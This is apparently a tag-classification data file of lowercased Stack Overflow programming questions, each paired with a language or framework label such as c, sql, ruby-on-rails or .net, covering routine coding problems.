if vs #if: faster performance   i m trying to save as much time as i can in a series of calculations that loop around many many times. there are two cases for the calculation  when a variable <code>s = 1</code>  and when it does not equal 1. the variable <code>s</code> is set as a constant with a <code>#define</code> in the very beginning of the code.    so  right now  i have an <code>if</code> check the value of <code>s</code> before doing the appropriate calculation. would i get any sort of performance increase if i use <code>#if</code> instead  and have the preprocessor pick out the part of the code that will be used ahead of time  since <code>s</code> is already available  i don t see any perforemance increase  but i am being told that this is definitely the way to go.    i still find it weird to use preprocessor code in the middle of actual code  but if it s actually going to help  then i don t have a problem with it. is using <code>#if</code> in such a case beneficial,c
uisearchdisplaycontroller tableview doesn t fire prepareforsegue  what am i doing wrong     i have 2 tableviewcontrollers. one of them works fine. when i do a search the result is displayed with the accessory button on the right  and the prepareforsegue works well.    but the other tableviewcontroller is exactly the same as the first one. the search works fine but doesn t display the accessory button  and the prepareforsegue is not fired.    can t figure out what is missing.,objective-c
auto update datetime column on insert with sql   i am currently just inserting <code>now()</code> into the date field on my database which works just fine but it got me wondering  is there a way to automatically update a <code>datetime</code> row upon inserting data      i found online in some places that i should set the extras to <code>on update current_timestamp</code> but when doing this i get the following error:    <pre><code>an error occurred when trying to change the field  uploaded  via  alter table `uploads` change `uploaded` `uploaded` datetime  not null  on update current_timestamp  comment  upload datetime   mysql said: invalid on update clause for  uploaded  column </code></pre>,mysql
is every double value rational   is every double a rational number (excluding the special values [infinity  -infinity  nan])  i am leaning towards saying yes  based on the following logic:   <ul> <li>the mantissa has a value that can be represented as a decimal  which can be the numerator.</li> <li>the exponent can be converted to a denominator  so that the result is scaled up and down as required.</li> </ul>   is this logic correct  and if not  what is wrong with it  and are there counterexamples which prove double values can be irrational,java
is it possible in c to create a file scope object whose address may not be computed   what i want is to ensure that file scope variables (in my program) can not be modified from outside the file. so i declare them as  static  to preclude external linkage. but i also want to make sure that this variable can not be modified via pointers.    i want something similar to the  register  storage class  in that    <blockquote>    the address of any part of an object declared with storage-class   specifier register cannot be computed  either explicitly (by use of   the unary &amp; operator) or implicitly (by converting an array name to a   pointer).  </blockquote>   but without the limitations of the  register  keyword (can not be used on file scope variables  arrays declared as register can not be indexed).    that is    <pre><code>&lt;new-keyword&gt; int array[size] = {0};  int a = array[0]; /* should be valid */ int *p = array; /* should be invalid */ p = &amp;array[3]; /* should be invalid */ </code></pre>   what is the best way to go about achieving this goal     <em>why do i desire such a feature </em><br> the usage scenario is that this file will be modified by many people in the future even when i can not personally overview all modifications. i want to preclude as many potential bugs as possible. in this case i want to make sure that variables meant to be  private  to the module will remain so without having to depend just on documentation and/or discipline,c
uitableview: moving rows around in editing mode  -(bool)tableview:(uitableview *)tableview canmoverowatindexpath:(nsindexpath *)indexpath {     nsuinteger row = [indexpath row];     if(row == 0)         return no;     return yes; }    my problem is: although i specified no for row 0. if i attempt to drag row 1 to replace row 0  the animation lets this happen anyways. the problem is that the above method only decides whether or not there is a move icon on the right of the row. any ideas on how to stop row 0 from ever getting replaced,iphone
polymorphic many-to-many on same class  i have user  tag  and relationship models   <pre><code>class user &lt; activerecord::base     has_many :followers  :as =&gt; :followable     has_many :follows  class_name:  relationship   :foreign_key =&gt; :follower_id end  class  tag &lt; activerecord::base     has_many :followers  :as =&gt; :followable end  class relationship &lt; activerecord::base   belongs_to :followable  polymorphic: true   belongs_to :follower  :class_name =&gt;  user  end </code></pre>   a user can follow another user or a tag. i would like to access the followers for tag and user  and also find out what users/tags a user follows.    i currently get the following error:   <pre><code>2.1.1 :003 &gt; user.followers nameerror: uninitialized constant user::follower 2.1.1 :005 &gt; tag.followers nameerror: uninitialized constant tag::follower </code></pre>,ruby-on-rails
importing from higher directories in python <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/72852/how-to-do-relative-imports-in-python >how to do relative imports in python </a>    </blockquote>     how do i import from a higher level directory in python.    for example:    i have project/lib/lib.py project/stuff/main.py    i want to import lib.py in main.py    thanks in advance,python
setting authentication headers in angularjs  i am just starting to learn about frameworks  i decided to start out with angularjs. i am creating a resource to connect to a restful api and i need to set a custom header. i ve tried looking around but i m just not sure what i m doing wrong.    <pre><code>function knackctrl($scope  $resource) { $scope.knack = $resource( https://api.knackhq.com/v1/objects/object_2/records )  {}  {headers: { x-knack-rest-api-key :  knack }}; $scope.knack.get(); } </code></pre>   any help is appreciated. thank you!!,angularjs
insert view in front of uiimagepickercontroller  i use the codes below to insert view in front of uiimagepickercontrller   <pre><code>[self.view insertsubview:myfrontview atindex:1000]; </code></pre>   it worked.    but if the viewcontroller relates to the  self  was presented by uinavigationcontroller     myfronview will display behind uiimagepickercontroller rather than display in front of it.    is there anyone met the same problem     welcome any comment    thanks    interdev,iphone
array subtraction for duplicate entries  i have the following snippet of code which i am using for getting difference between two arrays. the problem is that it doesn t work for duplicate entries and deletes the entry only once  thus leaving a copy of it behind. can someone tell me the fix to this    <pre><code>function arr_diff(a1  a2){     var a=[]  diff=[];     for(var i=0;i&lt;a1.length;i++)         a[a1[i]]=true;     for(var i=0;i&lt;a2.length;i++)         if(a[a2[i]]) delete a[a2[i]];         else a[a2[i]]=true;     for(var k in a)         diff.push(+k);     return diff; } </code></pre>,javascript
rails activerecord: create or update after http post method  i m new to rails and android  so please don t blame me if the question was answered before somewhere  but after searching for an answer i did t find anything.    question: how do i assure that rails creates or updates the field ip which should also be unique in the database. i sent a http post from android device to  http://192.168.5.3:3000/users/create user[user_ip]= +myip+ user[user_name]= +name    so on the rails  server side  rails should check if myip already exists and if so  it should update the  user_name  to  name   and if it won t find myip  it should create a new record with both fields.    should i use before_create in the user.rb model  or how do i do that  should i use post or put  if i should use put  then i don t know the id if the user exists.    or shouldn t i use the rails action  create  at all and write a custom webservice method     sorry for such maybe lame question but somehow i can t figure it out!    thanks for help in advance!,ruby-on-rails
how to add button that would pass and store current time in database in rails 5   should js be used to perform the action or is there any other method to do so  this is my attendance table.   <pre><code>create_table  attendances   force: :cascade do |t|     t.datetime  intime      t.datetime  outtime      t.datetime  created_at   null: false     t.datetime  updated_at   null: false   end </code></pre>   this is my code:   <pre><code>&lt;div class= field &gt;     &lt;%= f.label :intime %&gt;      &lt;%= f.datetime_select :intime %&gt;  &lt;/div&gt;  &lt;div class= field &gt;     &lt;%= f.label :outtime %&gt;      &lt;%= f.datetime_select :outtime %&gt;  &lt;/div&gt;  &lt;div class= actions &gt;      &lt;%= f.submit %&gt;  &lt;/div&gt; </code></pre>,ruby-on-rails
what is means of end:   at the end of a method  the following operations are defined:   <pre><code>end: if (request.progress &gt;= 1) {     request.decoderattach   = nil; } [[lkimagemonitor instance] requestdidfinishdecode:request]; </code></pre>   does anyone know what is the end: means  and where does this end: come from  where can i find its definition  is there a similar definition in c++ or objective-c,objective-c
centering a couple of divs together horizontal  hello i wondered how i would be able to center divs together horizontal  so far i ve used margin: 0 auto; to put them in the middle  but the divs go right under each other instead of next to each other. any ideas on how to fix that     here s a codepen: <a href= http://codepen.io/anon/pen/kdmmpo  rel= nofollow >http://codepen.io/anon/pen/kdmmpo</a>    html:   <pre><code>&lt;section id= rating-box &gt;    &lt;div class= rating &gt;&lt;/div&gt;    &lt;div class= rating &gt;&lt;/div&gt;    &lt;div class= rating &gt;&lt;/div&gt;    &lt;div class= rating &gt;&lt;/div&gt;    &lt;div class= rating &gt;&lt;/div&gt;    &lt;div class= rating &gt;&lt;/div&gt; &lt;/section&gt; </code></pre>   css:   <pre><code>#rating-box {     width: 100%;     margin: 20px 0 20px 0; }   #rating-box .rating {     width: 35px;     height: 35px;     background-color: #7a7a7a;     margin: 0 auto; }  </code></pre>   as you see they are on top of each other  i would like to know how to make them stand next to each other.,css
how to split mysql row <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/267892/how-do-you-implement-pagination-in-php >how do you implement pagination in php </a>    </blockquote>     how to split mysql row  i have 12 row in my table then i want to display first 4 row and next display 4 row how to use please tell,php
sum of items in rails model - nil class error  i m trying to add values together from product model and service model onto the order model.  i ll post models below so relationships are clear.   i ve tried a variety of options but essentially if i m adding a product item and  there s no service item  it crashes  or visa-versa. here s message: <code>nomethoderror (undefined method `price  for nil:nilclass):</code>    i ve added <code>to_i</code> from <a href= https://stackoverflow.com/questions/15276853/treating-nil-as-zero-in-sum-function >here</a> to try to turn the nil into 0 but still no luck.   where am i going wrong    <pre><code>class order &lt; applicationrecord   has_many :line_items   before_save :update_total   before_update :update_total   belongs_to :user  optional: true    def total_service_items     self.line_items.collect { |item| item.service.price.to_i * item.quantity }.sum   end    def total_product_items     self.line_items.collect { |item| item.product.price.to_i * item.quantity }.sum   end    def calculate_total     total_service_items + total_product_items   end    def update_total     self.total_price = calculate_total   end     end </code></pre>   line items model   <pre><code>class lineitem &lt; applicationrecord   belongs_to :order  optional: true   belongs_to :product  optional: true   belongs_to :service  optional: true end </code></pre>   service model   <pre><code>class service &lt; applicationrecord     has_many :line_items end </code></pre>   product model       <pre><code>class product &lt; applicationrecord     has_many :line_items end </code></pre>   controller (this controller s <code>create</code> method is being hit in this action)   <pre><code>class lineitemscontroller &lt; applicationcontroller         def create     @order = current_order     @item = @order.line_items.new(item_params)     @order.save   end        def item_params         params.require(:line_item).permit(:quantity  :service_id  :product_id  :unit_price  :order_id)     end end </code></pre>,ruby-on-rails
simple sql not working on table  have this odd behavior  was wondering if anyone can help.    table:    status type id<br> passed requirement j1x11986<br> passed requirement j1x11986-abc <br> <br>   <pre><code>sql&gt; select id from my_table;  id -------------------------------------------------------------------------------- j1x11986   sql&gt; select status from my_table where id= j1x11986 ;  no rows selected  sql&gt; select status from my_table where id= j1x11986-abc ;  result ------ passed </code></pre>,sql
one to many query with joins  i have a book model and a tag model and a join model. the book model has many tags through the join model. how do find books that have both tag  a  and tag  b       this works for just a:   <pre><code>book.all(:joins =&gt;  tags   :conditions =&gt; { tags.name  =&gt;  a }) </code></pre>   this works for a or b (or seems to):   <pre><code>book.all(:joins =&gt;  tags   :conditions =&gt; { tags.name  =&gt; [ a   b ]}) </code></pre>   but i d like to find all the books with a and b.,ruby-on-rails
how to resolve this fan trap in sql design  i am having this 3 table  which is available trip   country   and location. the relation in my erd design is     location | m-1 | country | 1-m | available trip     this is my attempt for the resolution   <pre><code>create table country  ( countryid int not null identity(1 1)  primary key  countryname varchar(50)   passportregulation text   currency varchar(20)  )    create table location  ( locationid int not null identity(1 1)  primary key  locationname varchar(100)   countryid int references country(countryid)on delete cascade  )  create table availabletrip ( availabletripid int  not null identity(1 1)  primary key  countryid int references country(countryid)  locationid int references location(locationid) ) </code></pre>   is it possible to be correct if i having two foreign key to added into available trip   however i feel this is redundant because based on location i can know the country. i am kind of lost my direction for this design,sql
content being replaced on hover  but existing text not being removed  sorry if this question is explained a bit poorly jquery is not my  native  language  so i ll try to explain as best i can.  (and i ve set up a jsfiddle to help show the code) <a href= http://jsfiddle.net/6eyyr/  rel= nofollow >http://jsfiddle.net/6eyyr/</a>    i have a webpage here: <a href= http://www.waranuwater.com.au/pages/test-1  rel= nofollow >http://www.waranuwater.com.au/pages/test-1</a> i had a colleague assist me  in getting to the point i am now with the jquery.    scroll down to the second area  i have two divs set up side-by-side  one on the left contains an imagemap  the other on the right a  content area  with html content. the  content area  contains some text that will change when the user hovers over a part of the imagemap.     i ve managed to get the content (which i have made black to make it easier to see for the timebeing) to change when the relevant part of the imagemap is hovered    when the user hovers over the imagemap  but i can t work out how to have the initial content disappear when the hover occurs (the bit that starts with  complete contaminant removal )     this is my current jquery code:    <pre><code> function showhidedivs(indx){             hidedivs();             oshowhidedivs[indx].style.display =  block ;         }         function hidedivs(){             for(i=0; i &lt; oshowhidedivs.length; i++){                 oshowhidedivs[i].style.display =  none ;             }         }         window.onload=function(){             oshowhidedivs =   document.getelementbyid( ccontainer ).getelementsbytagname( div );             var omap = document.getelementbyid( mymap );             for(i=0; i &lt; omap.areas.length; i++){                 omap.areas[i].indx = i;                 omap.areas[i].onmouseover=function(){showhidedivs(this.indx);}                 omap.areas[i].onmouseout = hidedivs;             }         } </code></pre>   am i missing something here   do i need to tell jquery to  hide  the existing text   and if so how would i go about doing that     thanks in advance,jquery
with css  can you make items within a dom node evenly spaced horizontally *and* vertically   if i have html like this:   <pre><code>&lt;div id= a &gt;   &lt;div&gt;a&lt;/div&gt;   &lt;div&gt;b&lt;/div&gt;   &lt;div&gt;c&lt;/div&gt;   &lt;div&gt;d&lt;/div&gt;   &lt;div&gt;e&lt;/div&gt;   &lt;div&gt;f&lt;/div&gt;   &lt;div&gt;g&lt;/div&gt;   &lt;div&gt;h&lt;/div&gt;   &lt;div&gt;i&lt;/div&gt; &lt;/div&gt; </code></pre>   i know i can make the items nicely spaced out as in the picture with the red boxes using a <code>flex</code> box  <code>justify-content: space-around</code>  and <code>flex-wrap:wrap</code>. but i m wondering  is it possible with just css to make the items space themselves out such that the items spread out vertically <em>and</em> horizontally  like in the green image where it would attempt to put the same number of items in each line/row (as long as they re all the same dimensions)      i m interested in the case where you don t know ahead of time how many items will be inside the main div <code>#a</code> and you don t know their widths either.    <a href= https://i.stack.imgur.com/m8xkv.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/m8xkv.png  alt= enter image description here ></a>    here s a js-fiddle of the red-boxes version: <a href= https://jsfiddle.net/p0lahgbj/  rel= nofollow noreferrer >https://jsfiddle.net/p0lahgbj/</a>,css
arraylist object storing multiple values <pre><code>list&lt;dictionary&gt; dictionarylist= new arraylist&lt;dictionary&gt;(); </code></pre>   i created arraylist object  i need to store multiple name with keys and want to display name along with keys. how can i do it. please help me,java
cascade modal views  what i m trying to do:   <ol> <li>display a modal view  where i get some user input</li> <li>display another one and get more input</li> <li>do some stuff with the input from 1. and 2.</li> </ol>   problem is: presentmodalviewcontroller:animated: is <em>non blocking</em>. that means i can t just do the steps 1.-3. sequentially.    how i tried to solve it:    viewcontroller0 builds viewcontroller1 and gives him a reference to itself  then does presentmodalviewcontroller:animated:. viewcontroller1 will gather user input  then call a method on viewcontroller0 (it has the reference). that method will build viewcontroller2 and do the same as with the first one. viewcontroller2 will also call a method on viewcontroller0 (might even be the same one). now viewcontroller0 has all the data (or should) and can proceed to step 3.    problem with this approach:   <ol> <li>it looks like a horrible hack (there <em>has</em> to be a better way to do it).</li> <li>it <em>doesn t work</em>. :-) the problem is when viewcontroller0 tries to display viewcontroller2. that one won t even get displayed. my assumption (i m new to iphone programming  but i did some windows programming before) is that this operation is not done instantly  but posted somewhere for further processing (similar to the win32 msg queue)  and so it will somehow conflict with the operation of removing viewcontroller1!</li> </ol>   so  any idea how i can either solve this problem in a simpler way or make it work this way,iphone
how to create a string for a file path in c#   in the below code pls help me to setup a file path in asp.net ie c:\search\city\documents\file.txt   <pre><code>public string strname =  city ; public string strdocumentfolder =  documents ; string file=  \\  + c:search +  \\  + strname +  \\  + strdocumentfolder +  \\  + lbldoc.text+ \\ ; </code></pre>,.net
binary search in c language  what is the problem with the next code    it is a code for making a binary search between the elements of an array that we fill randomly using the rand() function. we use here the function bin_sear to sort and return for us a boolean value true if the element we seek is found in our table and flase if the element we dont find doesent figure in our table. the code doesent work. so where is the error here     <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;time.h&gt; typedef enum { false  true } bool;  bool bin_sear(int k[]  int s   int target );  int main() { int a[10]; int i j; char k; bool bin;  while(1){ srand(time(null)); // we fill our table   for(i=0;i&lt;10;i++){     a[i]=rand()%101+1;    } printf( please enter the element you are seeking for:  ); scanf( %d  &amp;j);    if(bin_sear(a[10] 10 j)==true){   printf( the element you seek exists in our array );   }   else {     printf( the element you are seeking doesent exist in our array );   }         if (k== n ){     break;   } }  return 0; }   bool bin_sear(int k[] int s  int target){  int i j pos aux low high test;  for (i=0;i&lt;s;i++){     pos=i;     for (j=i;j&lt;s;j++){         if (k[j]&lt;pos){             pos=j;         }      aux=k[pos];      k[pos]=k[i];      k[i]=aux;     } } low=0; high=s;   while (low&lt;high-1){       test=(low+high)/2;  if (target&lt;k[test]){      high=test;   } else low=test; }  if (target==k[test]){      return true; } else return false; } </code></pre>,c
how to pass a cancel reason to .net task  .net task supports <a href= http://msdn.microsoft.com/en-us/library/dd997396.aspx  rel= nofollow >task cancellation</a>  but i want to pass a reason for the cancel. in my situation  my task is canceled some reason  and the task has to finish a different way every reason of the cancellation.     cancellationtokensource class hasn t some property for set that reason. how to pass a cancel reason to task,.net
show next and previous detail uiview without going back to parent uitableview  i have a nav controller that starts at a table view. each row pushes to a detail uiview. i would like to have a next and previous button on the detail uiview that would show next and previous views without going back to parent uitableview. all details are saved in an array. how can i access that array and its current index in detailviewcontroller.m  .thanx in advance.,objective-c
convert nsstring to cllcoordinate  i am working on a application where i am saving the coordinates of a location in database  now i need to use these coordinates and display the location on a map. can some one please  suggest me how can i change the latitude &amp; longitude stored as nsstring to coordinate. i want  to use these coordinates to display an anotation on the map.    thanks in advance,iphone
calculating avg between two tables (join)  the table probe looks like this:     <code> probeid -----    transcriptid  ----  start ----  end </code>    <code> 1056 ----------- 7981326 ---------- 1013 --- 1010 </code>    <code> 1057 ----------- 7878826 ---------- 1011 --- 1015 </code>    <code>etc..</code>    the table expression2 looks like this:     <code> probeid -----    sampleid  ----  value </code>    <code> 10425 --------- 7981326 ----- 16.55  </code>    <code> 11123 --------- 7878826 -----  3.55 </code>    <code>etc..</code>    i need to find the top 100 largest differences in transcripts (i.e. take average of probes).    <strong>essentially  i need to link the probeid of the expression2 table with the transcriptid in the probe table and calculate the average for the top 100.</strong>    i tried the code below  but keep getting  null  return. any alternative scripts will be much appreciated. i think i am missing something.     <strong>the expression2 table has no null values  fyi</strong>    `select avg(value)    from expression2   <pre><code>    where probeid in                       (                          select p.probeid                             from probe p                             join transcript t on p.transcriptid = t.transcriptid </code></pre>   )`    limit 100;`,sql
jquery bind event listener before another  using the <a href= http://www.no-margin-for-errors.com/projects/prettyphoto-jquery-lightbox-clone/  rel= noreferrer >prettyphoto</a> plugin to open modal-style content containers  and trying to integrate with google analytics  event tracking to track when videos get opened.    trouble is  when i    <pre><code>$( a.videoclicklistener ).click(function(event){     console.log( here );     _gaq.push([ _trackevent    product page    video open    &lt; php echo $product-&gt;getnamewithmanufacturer();  &gt; ]); }); </code></pre>   the event is never fired  as prettyphoto stops the event from continuing (quite rightly  as otherwise the page would change if a hyperlink was clicked).    prettyphoto does not seem to provide an  open  callback function  but if it did i couldn t use it anyway  as the prettyphoto listeners are set up somewhere in the layout (we use <code>rel= prettyphoto </code> every time we want to use prettyphoto  and pass params through the url  which is the prettyphoto-recommended way of doing things).  i would also like to pass the product details to analytics  ruling out a global video-opening listener across all prettyphoto opening events.    how can i bind my listener <em>before</em> the prettyphoto listener   if it turns out i have to use <code>.unbind()</code>  then bind my listener  and then rebind prettyphoto  how can i unbind a handler specified in a plugin,jquery
change format of system date  i am trying to change my date from system.i am using nsdate to pick date from system and change the format.can anyone tell me how to change the format of my system date i am using nsdateformatter to change the date format.i want the dateformat to strip off all the timestamps.,iphone
using c code to make a caesar cipher   hello good people of the stack overflow.    <strong>explanation</strong>     i am trying to to the following.     my program needs to take a stream of letters as the input and then for the output rotate 13 paces forward.    for example    a becomes n    b becomes o    c becomes p    d becomes q    and so on    for this program i need to use the ascii table. so for example lower case a=97 once my program is done it becomes n=110    i wrote a little formula for this    c=(c+13-97)% 26+97  where c is my letter. as you can see if c=97 then c will end up being 110.    so here is my program    as it is seen i used an if statment to determine if i have a capital or lower case letter.   <pre><code>  /* 97 is lower case a in ascii and 122 is lower case z*/       # include &lt;stdio.h&gt;     int main() {       char c;     printf( please enter a character: );      while (c!=-1) {      c=getchar();     putchar (c);      if ( c&gt;=97 &amp;&amp; c&lt;=122) {      c=(c+13-97)% 26+97 ;     printf( %c \n    c);        }      else        c=(c+13-65) % 26 +65 ;       printf( %c \n    c);        }      return 0;       } </code></pre>   my problem is with the output for example if i plug in a    instead of n i get   <pre><code>    an     n       1 </code></pre>,c
button click event fires dropdownlist_selectedindexchanged event but i don t want it  i have two drop down lists (<code>ddl1</code> and <code>ddl2</code>) and a button. i select a value from <code>ddl1</code> which fires the <code>ddl1_selectedindexchanged</code> event. when that happens  the value selected by <code>ddl1</code> goes to a database in a select statement   in which a where clause is used to fetch rows of required data. this new data table now populates <code>ddl2</code>. after selecting a value from <code>dd12</code>  i press a button.  when the button is pressed  i want to use the <code>ddl2_selected_value</code> in the <code>button_click</code> event. the problem is when i press the button  <code>ddl1_selectedindexchanged</code> event fires unexpectedly and binds the <code>ddl2</code> again  losing the <code>ddl2_selectedvalue</code>.   <pre><code>ddl1 - enableviewstate true  postback = true  ddl2 - enableviewstate true  postback = false </code></pre>,asp.net
why the output is 0.000000  (c)  can someone please help me and tell me why the output here is 0.000000 when it supposed to be 2.500000  its only like that when i put it the first line of print commands  if its in the middle of the print group its going well and goes out 2.500000..  so why its 0  <a href= http://prntscr.com/948vzc  rel= nofollow >for screenshot click here</a>   <pre><code>#include &lt;stdlib.h&gt; #include &lt;stdio.h&gt;   int main() {     int a = 65;     char c = (char)a;     int m = 3.0/2;      printf( %f\n   5 / 2);     printf( %c\n   c);              // output: a     printf( %f\n   (float)a);       // output: 65.000     printf( %f\n   5.0 / 2);        // output: 2.5000     printf( %f\n   5 / 2.0);        // output: 2.5000     printf( %f\n   (float)5 / 2);   // output: 2.5000     printf( %f\n   5 / (float)2);   // output: 2.5000     printf( %f\n   (float)(5 / 2)); // output: 2.0000     printf( %f\n   5.0 / 2);        // output: 2.5000     printf( %d\n   m);              // output: 1        system( pause );     return(0); } </code></pre>   thanks   tom.,c
kill current worker process in c# without http error 503. the service is unavailable error  i am trying to kill current worker process and i am successful in that but when i hit the site again it throws http error 503 the service is unavailable error and to fix this i have to run iisreset command. but when i kill the w3wp using taskmanager end task command a and hit the site again it works perfect.    what wrong i am doing in below code.   <pre><code>    protected void btnkill_click(object sender  eventargs e)     {         var currentprocess = process.getcurrentprocess();         if (currentprocess != null)         {             currentprocess.kill();             currentprocess.waitforexit();             currentprocess.dispose();         }     } </code></pre>,c#
php fatal error: can t use method return value in write context  this php row   <pre><code>if ($this-&gt;config-&gt;get( refprogram_sharing_enable ) &amp;&amp; !empty($this-&gt;config-&gt;get( refprogram_sharing_links ))) { </code></pre>   returns error message fatal error: can t use method return value in write context,php
make the text in stepbar truncated  does anybody have an idea how to make the text in stepbar truncated     please see the example in the codepen below:   <pre><code>`https://codepen.io/mmameko/pen/xpzpow editors=1100` </code></pre>,css
efficient multidimensional array search algorithm implementation in php  i m looking for an efficient algorithm that allows me to search a multidimensional array for a specific value. i have something like this:   <pre><code>$stuff = array(     array(          id  =&gt;  abc123            name  =&gt;  test           contents  =&gt;  lorem ipsum      )      array(          id  =&gt;  abc123            name  =&gt;  test           contents  =&gt;  lorem ipsum      )      array(          id  =&gt;  abc123            name  =&gt;  test           contents  =&gt;  lorem ipsum      )      array(          id  =&gt;  abc43            name  =&gt;  test           contents  =&gt;  lorem ipsum      )      array(          id  =&gt;  xyzh31            name  =&gt;  test           contents  =&gt;  lorem ipsum      )  ); </code></pre>   i have to find the item with id = abc43. how can i do this efficiently  do you know a better algorithm than traversing the entire array,php
my form page populated with previously submitted data  i filled the form page and submitted it.again when i opened the form page to generate another request my form page populated with previously submitted data.how can i get the form page with empty values.    thank you,html
sql - select rows that their child rows s column contains specific string  for example:   <pre> routeid    stopname  1           stop_1  1           stop_2 1           stop_3  2           stop_1  2           stop_2  3           stop_4  4           stop_5 </pre>   i want to select the route that it has a stop named  stop_1   i expect the results as follows:   <pre> routeid    stopname   1           stop_1   1           stop_2  1           stop_3   2           stop_1   2           stop_2  </pre>   ===============================================    <strong>edit</strong>    how about the <code>routeid</code> is from the table <code>route</code> and <code>stopname</code> is from the table <code>stop</code>  actually  the above table is their relation table.    thanks in advanced!,sql
sql queries to determine all values that would satisfy an arbitrary query  i m trying to figure out how to efficiently run a set of queries that will provide a new table of all values that would return results for an arbitrary query.    say my table has a schema like:   <ul> <li>id</li> <li>name</li> <li>age</li> <li>city</li> </ul>   what is an efficient way to list all values that would return results for an arbitrary query (e.g.  <code>select * from main where not city=x and age between y and z</code>)     my naive approach for this would be to use a script and recurse through all possible combinations of {city  age  age} and see which selects return more than 0 results  but that seems incredibly inefficient. i ve also tried building large joins on {city  age  age} as well and basically using that table as an argument list to the query  but that quickly becomes an impossibility for queries on many columns.    for simple conjunctive equality queries (e.g.  <code>select * from main where name=x and age=y</code>)  this is much simpler  as i can do something like:   <pre><code>select name  age  count(*) as count from main group by name  age having count &gt; 0 </code></pre>   but i m having difficulty coming up with a general approach for anything more complicated than that.     any pointers in the right direction would be most helpful  thanks.   <h2>edit:</h2>   it appears i did a very poor job explaining this  sorry.     imagine a user gives me a database and a template query and says   tell me all the values i can use in this query that will yield results from this database.  for example  the user might want to know all age range queries that will return at least one row (e.g.  the template query is <code>select * from main where age between x and y</code>).    in that particular example  one could run a select to find the min/max ages in the database  and just tell the user to query between those ages.     now imagine that the query template is more complicated  such as <code>select * from main where not city=w and age between x and y and name like z</code>. how could one determine the range of w/x/y/z values that can be used with this query to return results  does it require creating a join table with every single {city  age  age  name} combination and running the select on each row  how can i do this efficiently so that the operation is time-bound on large databases     hopefully that clarifies it.,mysql
make a progress counter in concurrent python <pre><code>from multiprocessing import process  pool from bs4 import beautifulsoup  alreadyprocessedfile = 0.0 processlength = 0.0  def convertedfile(filepath):      filename = os.path.basename(filepath).split( . )[0]      print( total:  +str(processlength)+   current:  +str(alreadyprocessedfile)           +    percentage:  + str((alreadyprocessedfile+1.0)/(processlength+1)))      #business logic      print( one file is saved at the location:  +r e:\xxx\secproject\processedsec10kfiles\2012qtr1/ +filename+ -finaldoc.txt )  def getfilepath(path):     return glob.glob(os.path.join(path   *.txt ))  if __name__ ==  __main__ :     s = r e:\xxx\secproject\sec10kfiles\2012qtr1      filelist = getfilepath(s)     processlength = len(filelist)     p = pool(40)     p.map(convertedfile  filelist) </code></pre>   this is basically a shortened version of the python program. i don t have a wrapper class outside and i want to have a counter inside to keep track of the progress (so i know when the program will stop). however the program (<code>def covertedfile()</code> have a problem accessing the changed variables: <code>alreadyprocessedfile</code> and <code>processlength</code>)    i know concurrency might have problems with shared state  but how can you accomplish a counter without some degree of shared state   and why can t the concurrent function access the variable outside of it    <hr>   also as weird as it may sound  this concurrent version program can t process all files (about 5000 of them) under one directory. i wonder if the program is shut down while some processes are still running. is this a possibility,python
why has .net-code to be compiled for multiple platforms  when e. g. creating a windows phone app  i have to select x86 for debugging in the emulator and arm for debugging on the phone. thats of course because my pc is running x86 (x64  to be specific  but x64 processors only differ in register length (please correct me if i m wrong)) and my phone has got an arm processor. but unlike c++ c# isn t compiled directly into assembler  but in some kind of intermediate langugage. so my question is: why does this intermediate language differ for different platforms. wouldn t it be enough to rewrite the virtual machine interpreting the intermediate language  e. g. java runs on mac  pc etc. without having to compile for every platform.,.net
how to create a text file or xml file in c# smart device applications  m new to .net m trying to create a text file or xml file in smart device applications.. but its exists only till application is running. stop and run application again. have need fill data in file again.,.net
rails group_by with empty results  i have following models:   <pre><code>class task   belongs_to :task_category end  class taskcategory   has_many :tasks end </code></pre>   i want to group tasks by task category and this works for me:   <pre><code>task.all.group_by(&amp;:task_category) # =&gt;  {   #&lt;taskcategory id: 1  name:  call   ... } =&gt;[#&lt;task id: 1  ...&gt;  #&lt;task id: 2  ...&gt;]     #&lt;taskcategory id: 2  name:  event   ... } =&gt;[#&lt;task id: 3  ...&gt;  #&lt;task id: 4  ...&gt;] } </code></pre>   the problem is i want all task categories returned even if the task collection is empty. therefore  something like this would work:   <pre><code>#&lt;taskcategory id: 3  name:  todo   ... } =&gt;[] </code></pre>   in this case  the task category has no tasks  so the value is an empty array. does the group_by support an option to allow this  if not  can this be done elegantly in a one-liner,ruby-on-rails
how have i draw picture in printdokument _printpage in datagridview   i know draw the strings datagrid  but i can not draw the pictures. please advise me   how i should draw image from datagridview.    <a href= https://i.stack.imgur.com/thjai.png  rel= nofollow noreferrer >enter image description here</a>    i used : e.graphics.drawimage (last line)   <pre><code>                e.graphics.drawstring(datagridview_nahlad.columns[9].headertext.tostring()  new font( microsoft sans serif   12  fontstyle.bold)  brushes.black  new point(450  55));             e.graphics.drawstring(datagridview_nahlad.rows[0].cells[9].formattedvalue.tostring()  new font( microsoft sans serif   12  fontstyle.bold)  brushes.black  new point(520  55));              e.graphics.drawstring(datagridview_nahlad.columns[10].headertext.tostring()  new font( microsoft sans serif   12  fontstyle.bold)  brushes.black  new point(450  75));             e.graphics.drawstring(datagridview_nahlad.rows[0].cells[10].formattedvalue.tostring()  new font( microsoft sans serif   12  fontstyle.bold)  brushes.black  new point(520  75));              // vykreslenie čiar              e.graphics.drawline(new pen (brushes.black  3)  75  190 740 190);             e.graphics.drawline(new pen(brushes.black  3)  75  45  740  45);              //vykreslenie qrcodu             e.graphics.drawimage(datagridview_nahlad.rows[0].cells[12]      620  55  120  120); </code></pre>,.net
runtime error in code for solving smallest even divisible  the problem was to find the smallest even number that is divisible by 17 and 32 and has a square root greater than 120.    this code outputs 32 which obviously isn t true. can anyone spot my error    <pre><code>#include &lt;iostream&gt; #include &lt;math.h&gt; #include &lt;stdio.h&gt;  using namespace std;  int main() {     int i = 1;     if(i%2!=0){         i++;     }     while(i%17!=0 &amp;&amp; i%32!=0 &amp;&amp; sqrt(i)&lt;120){         i+=2;     }     cout&lt;&lt;i&lt;&lt;endl; } </code></pre>,c++
